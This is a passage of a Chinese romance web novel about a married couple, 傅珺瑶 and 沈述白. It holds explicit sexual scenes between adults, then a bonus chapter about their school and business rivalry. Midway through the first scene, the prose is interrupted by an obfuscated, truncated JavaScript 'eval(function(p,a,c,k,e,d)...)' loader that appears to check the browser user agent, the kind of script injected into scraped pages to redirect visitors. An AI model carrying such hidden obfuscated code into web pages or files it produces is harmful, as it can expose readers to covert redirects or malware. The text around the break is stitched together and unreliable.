男人侧手,蛋糕稳稳托在餐盘上,他松手,餐盘搁在她跟前,修长的食指弯下,和拇指扣紧,捻起那颗车厘子送到她嘴边:“第一口你吃。” 深红的车厘子尾端还黏着白色的奶油,傅珺瑶嘴唇才张开一点,他的手突然靠近,傅珺瑶没忍住肩口紧颤—— 车厘子送进嘴了,连带着他的手指也送进嘴了。 更甚于,她的唇像是反射性合紧,唇瓣正正好好卡住他的手。 他没退出去,也没往前进。 傅珺瑶舌尖抵着车厘子,微涩的酸甜在口腔里蔓延。她垂下眸,目光聚焦在那只手,莫名的,耳根热的发紧。 好奇怪。 他倒是松出去啊。 “珺珺。”他突然靠近,声音没有任何阻挡地撞进她右耳。 傅珺瑶右肩狠狠一颤。 “甜吗?” 傅珺瑶往后一缩,离开他的手指,迅速咀嚼完嘴里的车厘子,吐出核,刻意躲避他的视线:“挺甜的,你…你是寿星你吃第一块蛋糕。” 沈述白视线不移,唇角微张,又往她跟前探近:“那你能喂寿星吃吗?” 说完,他的唇又张大了些。 “……” “我觉得寿星这么一个小小的要求,你肯定不会拒绝的,对吧?” “……”傅珺瑶身体里窜起来的小火苗还没灭下去,她生涩地咽了咽口水。 “嗯?” 沈述白再次拉近两人之间的距离,须臾,傅珺瑶的鼻腔已经被他的气息填满。 那股熟悉清冽的气息温柔的包裹住每一个嗅觉细胞,拉动里头暂时沉寂的兴奋因子,鼓得小火苗加速燃烧。 “好了好了,”傅珺瑶咬咬牙,鼓足劲托起餐盘,舀了勺蛋糕送进他嘴里:“喂你吃就是了。” 沈述白双眸弯成两条缝,手臂干脆绕过她身后,重新把人搂紧。 “真好吃。” 他刻意压下嗓,语气黏黏糊糊,带着点奶油乳酪的甜腻。 傅珺瑶“嘁”了声,唇角跟着扬起弧度:“你也喂我一口。” “好啊。” 傅珺瑶刚想把餐叉递给他,下一秒,沈述白直接用食指勾了块奶油,抹到她唇中。 “你伸舌头,很快就能甜了。” 这句话像是最后的导火索,扔进她窜起的火苗堆,几乎瞬间燃爆。 身体里的热意不止于耳根,猛地窜向脖颈和脸颊。 “你故意的!” 傅珺瑶把餐盘扔到他手里,想脱离他的怀抱,却被牢牢勾住。 “甜不甜?”他故意不回答。 “……” 傅珺瑶黑眸半眯,两手往前推,不偏不倚怼在他胸口。 甜是挺甜的。 但是有点涩情。 隔着不薄不厚的家居服,掌心里的那块慢慢成型,傅珺瑶盯着男人的褐眸,心虚抿唇:“也…也就那样。” 沈述白放下蛋糕,两只手臂同时发力把她勾紧,眼神往胸前探过:“隔着衣服摸太没劲了,脱掉,好不好?” “……” 傅珺瑶吞嗓的动作更频繁。 怎么…就脱衣服了? 蛋糕还只吃了一口呢。 可……也不是不行。 她身体里的火势渐猛,两条腿动了动,已经有熟悉的感觉汇聚。 手上顶着他的力松了。 “那你别箍着我,不好脱。” 沈述白松手。傅珺瑶瞥了眼他腰腹,两只手捏着他衣角:“抬手。” 他照做。 遮挡褪去,一身精壮结实的肌肉很快撞进眼底。 宽长突出的锁骨延伸至宽阔的肩口,顺着往下,流畅的肌肉线条横亘在二头三头之间,延至小臂,青筋和血管稍微凸出。 胸口两块宽硕的肌肉线条优美,被正中的人字线条隔开,托出那两小块玫瑰色。 匀称的八块腹肌跟着髋胯的两条人鱼线一齐往下,被浅灰色的裤子挡住下面的光景。 傅珺瑶下意识清了清嗓。 他是很典型的薄肌,穿衣显瘦,脱衣有肉,皮肤又算白,横在肌肉下的青筋也明显,总让她看一眼,就忍不住靠上去。 他就是故意的。 每次他都使这招来诱惑她。 “傅小姐,我可不是只供观赏的展品,嗯?” 傅珺瑶咬紧下唇,视线越过他脖颈突出的喉结,挪回他脸上。 “坐稳,不要倒下去。”她吩咐。 一个跨腿,身上的真丝衫和铅笔裙都被她扔到一边。 隔着那薄薄的一层布料,她稳坐在他腿上。 坐上去的那刻,吻已经落在了他的锁骨。 傅珺瑶亲出了声,修长的手掌贴在他肩口,习惯性捏了两下。 她张嘴,他身上的香味混进嘴里,裹进舌尖残留的甜味。 只是才吮了没两下,那股甜味完全被他的气息夺走。 傅珺瑶松了口,不是很满意。 “怎么了?”男人见她眼底隐隐幽怨,不解问。 傅珺瑶看了眼身侧的奶油,唇角微挑,往前啄了下男人:“老公,我们今天玩点不一样的,好不好?” 沈述白顺着她视线看过去,已然明白。手掌扣在她腰窝,又伸到前面,隔着束缚揉了两下。 傅珺瑶置于他腰侧的两条腿夹了夹。 贴近处,热意持续攀升,逐渐混入潮湿。 “好啊,你专门订的奶油蛋糕,我也不想浪费。” 白色地毯上,男人已经平躺下。傅珺瑶半俯着身,迫不及待的、一口一口吃掉抹上去的奶油。 两人的身影被茶几挡住大半,相对安静的空间里,细小啄吮的声音便清晰可闻。 干净白皙的脖颈上,喉结伴着低喘滚动,奶油的香甜混着沐浴乳的香味入嘴。 傅珺瑶呼出来的气息也热了些,忍不住去寻他的眸子,两相对视间,身体已经有了变化。 傅珺瑶强压着气,继续下去。 那块宽大的锁骨窝里,奶油都沾了热意,几乎要融化。 傅珺瑶迅速吮过,直奔那片玫瑰色。 动作落下的同时,男人的腰腹狠狠缩紧,气息加重。 他强有力的心跳声半点掩藏不住,扑通扑通尽数撞入她耳底。 那股强劲的力道震开她最后一丝矜持,原本隐藏起来的野性和兴奋劲彻底迸发,傅珺瑶浑身忍不住战栗,肌肉缩紧又舒张,气息完全紊乱,喉嗓压制不住声音。 她的动作有些急。 那几块腹肌上的奶油很快被她吞入腹中,左手绕开浅灰色的长裤,直临据地。 熟悉的滚烫强势氲入掌心,和他平日的温柔全然不可比拟。 “珺珺……” 他捏着她的胳膊,核心收紧,带着余甜的上半身抬起,不管不顾吻上来。 奶油的甜腻迅速在舌尖交织流转,两人的动作都算不上温和。 傅珺瑶宛如沉陷迷乱般,唇中狠狠进攻,掌心肆无忌惮。 沈述白则更甚,以她最想要的方式回应的同时,也绕开浅色的束缚,直占要领。 他学习的技巧,早已到了炉火纯青的地步,甚至比她还要熟知,那最关键的一击通关之地在哪。 被切了好几块的蛋糕侧面,蓝莓流心完全揣不住,尽数下淋,覆在蛋糕胚上,一股接着一股。 “沈述白……”傅珺瑶吻够,移到他颈侧,低声轻唤。 “换个称呼。” 男人的手臂动作慢下来。 “述述……老公……” “老公……我爱你……我好爱你……” 后面的话,傅珺瑶已经没法说出口。 身体里电流沿着脊骨上窜,直抵颅顶,扯得头皮也跟着酥麻。 两道节律全失的呼吸声此起彼伏,氲得头顶冷白的光线都朦胧柔和。 傅珺瑶被他托着躺下,肩背紧贴在地毯。 蓦地,胸口一凉,奶油的甜香扑入鼻腔。转瞬,男人茂密的头顶出现在眼前。 温热叠下,傅珺瑶全身力道一软,迫切想要找寻攀附的东西。 双臂紧勾着他宽阔的背脊,指甲几乎嵌进他皮肉。 眼前的灯几次虚焦、乱颤,男人终于抬头,短暂的对视过后,他扣紧她的手腕,猛然靠近。 原本细小的声音逐渐扬大,回荡在整个客厅。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傅珺瑶再次咽嗓,喉间一片干涩,耳根莫名热了热。 她无声移回眸子,抿了一大口水,喉间的干涩却半分未退。 男人还站在那里,气息移近,慢慢占据她的鼻腔。 “傅总,还需要我做什么,嗯?” 傅珺瑶指尖颤了颤,动作有些凌乱。 “暂…暂时没什么要做的。” 沈述白没看她桌上的东西,背过身避开电脑屏幕,又慢慢蹲下来。 “既然工作上帮不上忙,就只能帮傅总按按摩了,这段时间傅总也忙前忙后,都没时间锻炼。” “……” 一股酸麻的劲冲到指尖,傅珺瑶一连摁错几个键,手指干脆蜷缩。 套在拖鞋里的脚趾蜷紧,她低头,看着蹲在她腿前的男人。 男人宽大的手掌扣在她腰腹,隔着西装,指腹摁在穴位附近,上下左右慢慢揉动。 傅珺瑶两腿往内收,却碍于他蹲在那里,没法合拢。 呼吸错频,脸颊上有细小电流窜过,弄的她注意力散乱。 “沈秘书,当秘书的这样贴近上司,是不是有失分寸了?”傅珺瑶原本还算沉稳的声音也染了丝颤意。 耳廓被男人的一声轻笑刮的有些痒:“傅总哪里的话?我只不过是想让傅总舒服一点,能够用更好的状态工作啊。” 然而这话结束时,他的手下移,停在了她腰带的CD扣上。 傅珺瑶垂眸看过去,迎上他带着试探的眸。 她没说话,目光重新回到电脑,连连清嗓,剩下的那点水被她全部喝完。 腰带没了约束的能力,西装裤的拉链也被拉下来。 热意渐浓,电脑屏幕上的数十行字在眼前乱颤,傅珺瑶暗咬唇肉,两只脚往里挪了挪。 “傅总,抬抬腰,这样限制我怕不能让傅总满意,万一扣我工资,我就没法给我老婆买金条了。” “……”傅珺瑶脸颊骤红,吐出来的气氲的眼珠也发烫。 她就知道。 他这人就是个实打实的闷骚怪! 下一秒,傅珺瑶收紧核心,腰部发力,一股凉意沁入肌肤,又很快被燥热取代。 沈述白手掌扣紧,直奔要领。 “你等等!”在他彻底贴上来前,傅珺瑶顿时喊停。 褐眸轻抬。 傅珺瑶递了张湿纸巾给他,指尖轻抖,面颊潮红:“先擦擦,不然不卫生。” 微凉的湿纸巾轻轻擦过,傅珺瑶脊骨一酸,手上急需借力,猛然抓着空荡荡的玻璃杯。 有些日子没做,这次挑的环境又这样新奇,傅珺瑶实在受不了这种刺激。 他刚贴上来,她便没忍住,肩脊狠狠一颤,喉间溢出声浅吟。 荷尔蒙汹涌如滚滚海浪,透明的玻璃杯紧圈在手里,升腾起小阵雾气。 “看来傅总对我很满意?” 男人微微仰头,舌尖浅伸,舔掉唇角的莹润。 “……就……还行吧。” 傅珺瑶胸口抵在办公桌前,胸廓急切起伏,忙于吐出肺腔里的浊气。 “那可不行,做秘书的,不能让上司满意,那可太失职了,我还想涨工资给我老婆买金条呢。” 说完,他再次贴近。 “你……” 傅珺瑶一口气没连续呼完,胸腔又本能开始收缩吸气,气息一瞬紊乱,不受控制。 男人茂密的颅顶在眼前微微晃动,傅珺瑶再也无心顾及眼前收尾的工作,往后一仰,结实靠在办公椅背。 “沈述白……” 男人的动作暂停。 “傅总,这里是工作区域,界限得分明,你得叫我沈秘书。” “……” 界限分明? 他们现在有一丁点界限吗? 傅珺瑶不叫。 闷骚怪又使坏:“傅总,您是上司,您不指示,我可不敢轻易动作。” “你……” 傅珺瑶还觉得不够,又知道他的秉性,半咬紧牙:“沈秘书,你要再磨磨蹭蹭,迟一秒钟扣五百。” 话音刚落,“沈秘书”已经执行这道指示,重新动作。 傅珺瑶后脑勺严丝合缝贴在背椅,双眸半眯,胸廓起伏的幅度越来越大,频率也快的她难以控制。 办公室内所有的东西都在眼前晃荡,没法像寻常那样保持一片安稳。 耳边裹满羞意的暧昧声逐渐取代背后落地窗外,旋至百米长空的车流声。 傅珺瑶两只手都抓着座椅扶手,不过很快,这种攀附力已经完全不起作用,偏偏玻璃杯距离太远,她够不到。 视线下瞥,男人的头颅就在眼前。 她想起当初顾清漪婚礼前夕,他们在车上…… 左手抓紧他的西装,右手嵌入他的发丝,牢牢抓紧。 “沈……秘书……” 冷白的灯光剧烈一晃,浑身肌肉猛然缩紧,隐隐有痉挛之势。 她听见很明显的声吞咽。 像是喝水那般,咕嘟咕嘟从男人喉结滚下。 浓烈的羞意上爬,还没来得及延续,“沈秘书”的声音一本正经:“傅总给的东西可真多。” “你烦人!!” 他这也叫有洁癖?!! 闷骚怪!! 到最后,傅珺瑶实在心满意足,肚子又饿了,沈述白才帮她重新清理好,西装裤恢复原来的样子,腰带的CD扣挪到正中。 傅珺瑶两分钟把工作彻底收尾,关了电脑,最后跟他到小沙发吃饭,脸上还残留着余红。 “你下次……还是别吞下去,这玩意吞多了也不好。” 傅珺瑶是在他给她夹菜时,忍不住说了这么句。 沈述白夹菜的动作一停,浅浅勾唇:“我知道了,傅总,作为一个优秀的‘秘书’,我会让你满意的。” “……”她就多提这一嘴:“吃饭吃饭吃饭!” 夜色深沉,黑色大奔穿梭在车流中。 傅珺瑶坐在副驾驶,欲足饭饱,工作也顺利收了尾,真是好不满足。 她侧眸,看看专心开车的男人,眼底漫出笑意。 有这样一个人在身边,也挺好。 “珺珺。” 沈述白目不转睛,突然唤她声。 “嗯?” “别急着看我,等回家,咱们再好好解锁新地图、新关卡。” “……” 气氛正经不过两秒,傅珺瑶撇头反驳:“谁看你了?” “没看也行,”男人顺着她的话:“不影响咱们解锁新地图。” “……你烦不烦!”傅珺瑶忍不住掐他。 “烦,”他仍然顺着她:“但烦的你喜欢。” 傅珺瑶轻嗤,嗔了声:“烦人!” 又瞥了眼时间:“快点回家,明天还得回沈宅聚餐呢。” 沈述白颊侧笑意渐深,语气轻抬:“好嘞,老婆!” 霓虹耀眼的数里长街喧闹张扬,浸入月色的万里黑夜脱俗个性,天高地远,包容无数景光。 他们的激情在这里肆意绽放,他们的爱欲在这里疯狂燃烧。 永远热烈,永不停歇。 86. 番外3 【一“青梅竹马”纯恨战士】 傅珺瑶和顾清漪升到高中后,有一次摸底考试,老师虽然嘴上说着不用太紧张、太在乎名次,这次成绩不会对分班有影响,但大家心底都门清,对分班虽然没影响,但名次是要贴到成绩大墙上的。 “我不想复习。”顾清漪趴在桌子上,把课本都甩到一边,语气幽怨:“真让我们不在乎名次就别贴成绩啊。” 傅珺瑶怀里揣着热水杯,视线落在桌面摊开的课本,带着点鼻音的声音不紧不慢悠出来:“没事,反正你有底子在,再怎样也不会掉出前五十。” “我怕的不是这个,我怕许远舟考我前面了,上次我俩打赌来着,说谁考更好谁就出今年十一假期去米兰的钱,碰上这机会,我必定得好好宰他一顿。”顾清漪一番豪言壮志,好似笃定米兰行就是许远舟包圆。 然而才说完,充起来的那股气瞬间瘪下去:“但是我真的不想复习。” 傅珺瑶抿了口热水,从桌里掏出根棒棒糖,语气松松:“好了,真不想复习就不复习了,相信自己,许远舟不一定考得过你,万一真没把控好,钱我替你出。不过你要是考的比上次考试好,我就送你梵克雅宝的那条红玉髓。” 这话一出,顾清漪瞬间坐直身子:“那还说啥了,我学习的欲望蹭的一下冲上来了。” “不过珺珺,你感冒真没事吧?都好几天了,要不还是请假回家休息算了。” 傅珺瑶左手拿笔在课本的知识点上打了个勾,翻面,冷静摇头:“没事,一点小感冒而已。” “你别不当回事,真发烧得难受死。”顾清漪探了探她额间。 “放心,我不会发烧的。” 笃定如傅珺瑶,也还是没算准。 摸底考的第二天下午,她突然烧到38度,被傅臣北接回去休息,缺考了生物。 成绩出来的那天,顾清漪挽着她一起去校园大墙。 “珺珺,你这次缺考一门,名次不会掉下去吧?”顾清漪隐隐替她担心。 顾清漪也知道,傅珺瑶这人只争第一,偶尔掉到第二,那都是另一个人悄悄发力赶上来了。 “应该不会掉很多。”傅珺瑶猜测。 两人走入人群堆,傅珺瑶仰头看过去,只一眼,她没忍住啧了声。 顾清漪很快安慰:“珺珺,这也情有可原,但你看你缺考一门都排到了第七,已经很好了……” 顾清漪话音还没落完,旁侧突然挤进来道声音。 “可就算把这门按满分加上,和第一名不也还是差了一分么。” “第一名”一身简单黑衣,略显青涩的褐眸带满衅意,语气往上抬了几分,继续讥笑:“哎呀这不行就是不行,找了借口,也还是不行。” 顾清漪猛然攥紧傅珺瑶的衣角,压低声音在她耳边道:“珺珺,别生气,他就故意气你呢,咱们生病才好,反正成绩也看完了,咱们回去呗?” 傅珺瑶没说话,身侧的手捏拳,侧眸,冷冷剜向另一侧。 沈述白眸中的衅意更甚,还往前走了两步,耸耸肩,摇头道:“没办法,这次第一就得我拿。” 傅珺瑶的拳头捏得更紧。 “珺珺……” 几秒的沉默后,傅珺瑶松了手,唇边陡然扯出抹冷笑:“你也说了就这次了,放心,下次第一还是我的,而且我没记错,就算你把这次的第一算上,你在第一的次数也还是比我少一次呢。” “……” 傅珺瑶狠睨他眼,拉着顾清漪转身就走。 把那人甩在身后的那一刻,傅珺瑶的脸彻底垮下来,皓齿忍不住重重咬了下嘴唇。 “珺珺,别生气了,我们吃饭去,今天我请客。”顾清漪还在一边劝。 傅珺瑶“嘁”了声,语气闷闷的:“我没生气。” “好好好,”顾清漪顺着她的话,把人挽得更紧:“看看今天食堂有什么菜,点个汤什么的,补补。” - 都说冤家路窄,这四个字在傅珺瑶和沈述白身上可谓是体现的淋漓尽致。 傅珺瑶才跟顾清漪找位置坐下来,暖胃的汤水还没完全下肚,一抬头,迎面对上那双褐眸。 傅珺瑶下意识蹙眉。 周遭的空气瞬间凝滞,没一会,沈述白嘴边挤出声嗤笑。 他扬起下巴,不屑地睨向她:“傅同学这是没考到第一偷着大哭一场,鼻子还挂上水晶吊坠了。” 语气里听不出提醒,尽是嘲笑。 “……” 身侧的顾清漪即刻递来纸,帮着她擦干净。 傅珺瑶清理好,刚欲开口回怼,沈述白快了她一步:“哎呀这心理素质,之前考第二也偷着哭过好多回了吧?啧啧啧,我争取以后每次都考第一,让你哭个够。” 说完,他压根没想等她回答,连眼神都懒得多停一秒,大步离开。 “……” 傅珺瑶回头剜了眼他远去的背影,手里的筷子重重一拍,震得碗里的汤汁剧烈晃荡。 “别气别气,咱们下次直接第一吊打他!”顾清漪过来搂着她的腰,又把汤重新送到她跟前:“但是咱们得先有个健康能打的身体,别因为他两句断章取义的话就不吃饭了,不值得,嗯?” 傅珺瑶眉头紧锁,腮帮子鼓的像是塞了满嘴食物,两只手紧握成拳,好似下一秒就要去揍人。 “生气对乳腺不好,心情咱们可以调整,可不能因为他损失本钱。来来来,快喝一口,凉了不好喝了。” 顾清漪半攻半守,在安抚傅珺瑶这方面也算是驾轻就熟。 傅珺瑶看了她眼,深吸口气,还是接过汤碗,乖乖吃饭。 两人吃完去还餐具,傅珺瑶一抬眼就看到坐在靠长廊吃饭的沈述白。 他动作倒是清闲散漫,单看背影,像是心情大好。面前还放着罐汽水,时不时轻抿一口。 傅珺瑶黑眸半眯,胸廓轻抬,喉间挤出声低笑。 转瞬,昂首阔步,两条腿毫不犹豫加速。 “哎…珺珺!”顾清漪动作慢了两秒,没能拦得住她。 “砰”的一声,食堂里的学生频频转头,嘴唇微张,谨慎打量着漩涡中心的‘惨况’,逐渐噤声。 偌大的空间里只剩头顶几个中央空调呼呼的响声低鸣。 沈述白面前餐盘里原本规整摆放的饭菜全被冒泡的汽水浸泡,面上油点浮起,汽水不满餐盘平窄的空间,开始往下滴落,淋湿沈述白的裤子。 “傅、珺、瑶!” 他慌乱拿纸巾擦拭,眉心拧紧,一双褐眸沁满怒色,狠狠睨过来。 傅珺瑶全然不怯,左手上抬虚掩在唇前,轻吸口凉气,故作惊讶:“哎呀真不好意思。” 架起来没两秒,肩口一松,脸色沉下来:“我就是故意的,给沈少爷换换口味,不用客气。” “你……” 傅珺瑶仰着头大步前迈,把他还没说出口的话干脆甩在身后。 顾清漪紧赶慢赶终于追上来。 “牛啊珺珺,你下手也太狠了。” 傅珺瑶还完餐盘,擦干净手,揉了揉刚才撞上去的肩,“咱们去超市买点喝的再回教室,我请客。” “那我还要薯片。”顾清漪顺势挽着她。 “好。” 两人到了超市,傅珺瑶没其他想吃的,直奔牛乳茶去。 货架空了大半,傅珺瑶凝着神,在那一排排绿茶牛乳里找红茶牛乳。 最后一瓶就藏在倒数第二排中间的货架上。 黑眸微闪,她正准备俯身,眼前一只大手掠过,把那瓶红茶牛乳牢牢攥在手里。 “……” 傅珺瑶轻啧了声,“这位同学……” 后面的话都在看到那人的瞬间,堵在喉口。 沈述白一脸贱兮兮地看着她,略显松散的眸子里含满衅意。 “哎呀真不好意思,我也是故意的。虽然我不爱喝,但就是想让你喝不到。” “傅同学就再忍忍吧,谁让我就是比你快一步呢。” 说完,他还故意朝她挑了挑眉。 “你!” - 当然,这四个字的威力还远远不局限于学校。 周末中午,傅珺瑶找了家想了很久的西班牙餐厅,拉着顾清漪一起去了。 “等会吃完饭,隔壁甜品店今天有限定的芭乐抹茶,咱们排队拿下。” 傅珺瑶边翻菜单边跟顾清漪说。 那家甜品店整个淮北独此一家,女老板是从港城来的,手艺非常独到,没多久店门人气上涨,除了几个常规甜品,基本都限定了。 “行啊。” 傅珺瑶快速点完几个自己想吃的,正想叫服务员给倒杯温水,一抬眼,又撞上张扎眼的面孔。 傅珺瑶沉了口气,话音里的槽劲明显:“真是见鬼了,怎么哪儿都能遇上他!” 顾清漪茫然回头,沈述白正坐在和她们隔了几张桌子的餐位。 他低着头,面前桌上已经摆了几道餐品,在他对面还坐着个人,是许远舟。 “……那咱们要走吗?”顾清漪问。 “不走,我专门来吃饭的凭什么走?不看他就好了。”傅珺瑶索性把头偏向另一侧,眼不见为净。 顾清漪也没多说,直接跟她换了位置。 注意力被面前的餐食吸引走,傅珺瑶也逐渐忘了这个空间里跟她气场完全不合的那个人。 味蕾的满足慢慢推走了脑海中残存的不愉快。吃完饭,她结了账,拉着顾清漪去隔壁排队。 两人才站定,傅珺瑶视线定格在不远处的前方,黑眸紧凛,眉头也跟着蹙起—— 沈述白和许远舟在前面排队,就跟她们隔了两个人。 她还真是见鬼了!! 怎么在哪都能遇到他!! “……” “……” 顾清漪抿着唇,慢慢侧过身来,和她面面相觑,相顾无言。 “要不…我让许远舟帮咱们买?”顾清漪试探问。 傅珺瑶还没来得及回答,前面那人突然侧了侧身,身形一僵,再转头,褐眸不偏不倚对上来。 “……” “……” 没有迸开的沉默中,隐隐擦出火星子。 短暂的停顿后,他忽然抬起下巴,唇边扯出抹轻笑,又转回去,不知道和前面的许远舟说了什么,许远舟愣了下,回头恰好注意到她们。 他倒是大大方方打了招呼:“这么巧,你们也在这?” 沈述白在那排着队,许远舟已经朝她们走过来。 “刚刚吃饭其实就在了。”顾清漪解释。 “你们想吃什么,我直接帮你们买了得了。” 话音刚落,中间那两个人不乐意了,“能不能别插队?大家都是专门过来的,先到先得好吧?” 前头的沈述白听见动静转头,瞥了眼傅珺瑶,褐眸浅眯,眸底骤然聚出几分笑。 他主动后退两步,把自己的位置让给那两个女生,说:“那你们先买吧,我们一起的。” 他的身影靠近,傅珺瑶眉头蹙得更紧,眸中一片警惕。 “傅同学,你想吃什么,我来请客。” 他语气玩味,听的分不出真假。 傅珺瑶眼神瞟向别处,拒绝跟他对视,音色冷漠:“不必。” 旁侧的顾清漪和许远舟相视一眼,暂时沉默。 被拒绝的沈述白仍然维持着‘柔和’的脸色,又刻意侧身,前面的长队尽数落在视野,“这前面还这么多人呢,四个人排着也实在低效,反正大家都认识,我就一起排了,等会一起买了多干脆?” 他又看向一边的许远舟:“我跟远舟一会去台球厅,反正包场了,今天既然这么巧遇到了,我就请傅同学再娱乐娱乐,这下午茶也当附赠。” “不必。”傅珺瑶再次干脆拒绝。 和他打球?她应该会想打他。 再说了,无事献殷勤,还是给仇人献殷勤,能是什么好事? “别呀,正好遇到就一起玩会呗。”许远舟很快站出来,又往顾清漪身边凑了凑,意图再明显不过。 顾清漪视线在两人之间徘徊,“没事珺珺,你不想去就不去了。” “别呀,咱都多久没一起玩了。”许远舟还在坚持。 顾清漪啧了声:“以后不还有时间呢吗?” 傅珺瑶看看顾清漪,又看看许远舟,双眸最后回到沈述白身上。 两道视线再次交汇,傅珺瑶细细凝着他,牙关紧合。 “好了,”傅珺瑶陡然侧身,话对着许远舟说出口:“我要吃芭乐抹茶,清漪吃树莓布朗尼。” 耳边一声哼笑洒下,在耳膜上颤了颤。 沈述白背过身去排队,丢下句:“行,没问题。” 半小时后,傅珺瑶在台球厅已经和顾清漪切磋完一轮。 沈述白总算提着两大袋甜品进来。 “歇会,先吃东西。”许远舟立马扔了球杆,搂过顾清漪的肩。 “哎哎哎,别动手动脚的,我还没答应你呢啊。” 顾清漪毫不客气拍开他,凑到傅珺瑶身边。 沈述白掀眸瞥了眼傅珺瑶,不紧不慢摆好五盒甜品。 一盒顾清漪要的树莓布朗尼,一盒许远舟要的蓝莓巴斯克,一盒平平无奇的牛角包,还有…… 两盒芭乐抹茶。 傅珺瑶脚步顿在原地,心底突然升起股不好的预感。 身体刚靠近小圆桌,那两盒芭乐抹茶便被沈述白挪到他自己跟前。 “……” 顾清漪和许远舟也停了脚步。 “真是不好意思了傅同学,我也喜欢吃这个,我胃口大,还必须得吃两份,可惜就只有这最后两份了,只能委屈你,吃牛角包咯?” 傅珺瑶一言不发,视线砍过去,下颌绷紧。 “哦对了——”他又故意拖长话音,继续补充:“其实我买的时候,还有十几份,而且我都买下来了,只不过我看后面那些排队的人都好想吃啊,我就免费送给她们了,只给自己留了两份,不小心把你给忘了,真是抱歉。” 身侧的手慢慢捏紧,傅珺瑶牙关咬得有些发疼,她已经尽可能去压制胸口的那团气,但胸廓起伏速度仍然越来越快。 “沈、述、白!” “在呢。”他坐在那,慢慢拆开包装,浅蓝色的餐叉横切小块芭乐抹茶送进嘴,语气悠闲:“你别说,这味道还真不错,也难怪傅同学要专门来排队。” “……” “珺珺……”顾清漪面色跟着垮下来,狠狠睨了眼沈述白和另侧的许远舟。 许远舟悻悻低头,沈述白反倒一脸坦荡,继续悠哉吃着,甚至时不时递来个挑衅的眼神。 球桌上的球顺着滚至傅珺瑶手边,傅珺瑶一个扣手,捏紧圆球后猛地抬臂,直勾勾往沈述白的方向挥过去。 沈述白眼瞳几乎本能缩紧,身体往后一退,重心跟着偏移,身下的凳子也险些歪斜下去。 “哼。”傅珺瑶冷嗤了声,把手里紧攥的球扔回桌上,又捞起那盒树莓布朗尼:“沈少爷慢慢吃,最好能噎死自己!” 最后一个字吐出去的同时,黑眸沉冷斜过一眼,随后拉着顾清漪,毫不犹豫离开。 也是有了这次教训,傅珺瑶再也没信过沈述白的任何一句话。 就连进入职场后,她也一直铭记这次教训,绝不轻易相信他人,尤其是竞争对手。 - 【二势均力敌不给面子】 傅珺瑶在正式任职恒璟总经理的第三个月,受邀参加淮盛投资千金的生日宴。 临出发前,老爷子再三强调,这场生日宴背后藏着数不尽的人脉,势必要维护关系。 “爷爷您放心吧,我心里有数,不会让您失望的。” 傅珺瑶一身简单的紫色亮面v领长裙出席,长发简单绾在脑后,耳颈佩戴整套的暗夜紫珠宝。一双秀眉简单修饰,拖出稍微凛冽的锋芒,裸棕色的哑面口红利落勾勒唇形,沁出几分不易察觉的柔和。 手里低调扣着只CHANEL24B黑金丝绒水钻手拿包,再不见其它配饰。 她比顾清漪晚到一些,宴会厅门口,车钥匙给了接待侍者,便有专门的侍者引她上楼。 “傅小姐,您请。” 电梯门“叮”的一声之后缓慢开启,傅珺瑶才进去,后面又来了个人。 眸光对上去的那刻,那双褐眸也被这宽敞电梯里肆意照亮的灯晃了两下。 傅珺瑶捏着包的手悄然收紧,黑瞳不经意间掠过那颗黑色耳钉,若无其事地收了回来。 男人倒是没避开她,坦荡走进梯厢。 侍者帮忙按了楼层后离开,金属门关上的那刻,相对封闭的空间里只剩两道隐蔽的 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“你……”沈述白侧过身,褐眸拽着那颗黑色耳钉强横占据她的视线。 傅珺瑶没给他出击的机会:“我就算满身铜臭、使尽手段,也好过你这种自视清高、古板骚包的伪君子。学生时代你我尚且平手,职场上,你真的能赢我么?” 两道视线交汇,暗藏在里头的锋芒几乎压不住,只要一方稍微把持不住失守,便能瞬间撞出难以压制的火花。 沈述白浅眯着眸,双神敛光,腮帮子鼓了鼓,没一会,肩口松懈,又顺出团气。 他往前走了两步,缩短和她的物理距离:“谁输谁赢,试试不就知道了?傅总别那么自信,所谓飞得越快,摔得越惨。” 傅珺瑶瞥了眼电梯显示板,鼻腔抽出声嗤哂:“沈总放心,我就算摔,也一定让你给我当肉垫子。” 最后一个字被金属门划开的声音盖过,傅珺瑶视线毫不犹豫收回来,脸色一瞬恢复如常,侧身,出了电梯。 金光耀眼的宴会大厅,傅珺瑶一眼注意到盛琪,顾清漪也在那边,她也不拖沓,径直走过去。 “琪琪,生日快乐。”傅珺瑶先打了招呼。 盛琪和傅珺瑶也算是认识很久的发小,不过盛琪初中便跟着祖母移居澳洲,每年回来两次,学业完成后回国,据说这次生日宴之后她正式进入自家企业,即将成为名副其实的资本。 “珺珺!我们都等你好久了,刚刚还跟清漪聊着,听说你正式任职恒璟的总经理了?” 盛琪递了杯香槟给她。 傅珺瑶唇边勾出很浅的一抹弧度:“才上任不久。” “那我跟你比起来还算是个新手啊,珺珺,我可是最相信你的能力的,以后还得仰仗你给我透点路子哦?” 盛琪一句话带着点玩笑意味,在外人看来,她们不过是围在一块说笑。 她手里轻捏着的香槟杯朝傅珺瑶凑近了些。 傅珺瑶了然笑笑,轻轻碰上去,“哪里的话?论能力和经验,我们这一桌加起来都不及十几岁就在澳洲大展身手的盛总,如果真凑巧碰上了什么好路子,我恐怕还得求着你帮我才是。” 盛琪眉眼弯起的弧度更深,眸珠清澈,嘴角挂着毫无攻击性的甜笑,只似完全不谙世事的大小姐。 “咱们都多少年的交情了,哪里需要求不求的?你找我,不就一句话的事儿?” 她朝她挑了挑眉,饮下那杯香槟。 傅珺瑶不再多语,澄黄的液体进了肚。 空荡的酒杯刚被侍者接走,耳边便闯进两道渐近的脚步声。 “盛小姐,好久不见,生日快乐。”沈行之的声音很快震入耳膜。 傅珺瑶维持着原有的姿势,只有捏着包的力度重了些。 “盛小姐,生日快乐。”沈述白的声音跟着响起,连带着那种让她抵触的气息凑近。 傅珺瑶舌尖无声抵了抵唇,身体无意识绷紧。 盛琪朝两人笑笑,礼貌回应:“多谢。说起来也要感谢二位愿意捧场,二位随意,玩的开心。” 两人打过招呼之后离开,鼻腔里属于他的气息逐渐淡去,傅珺瑶暗暗松了口气。 “珺珺,那边是陈公子,你要不要去打个招呼?”盛琪视线往另一侧轻扫过一眼,脸上笑意不减,语气再寻常不过。 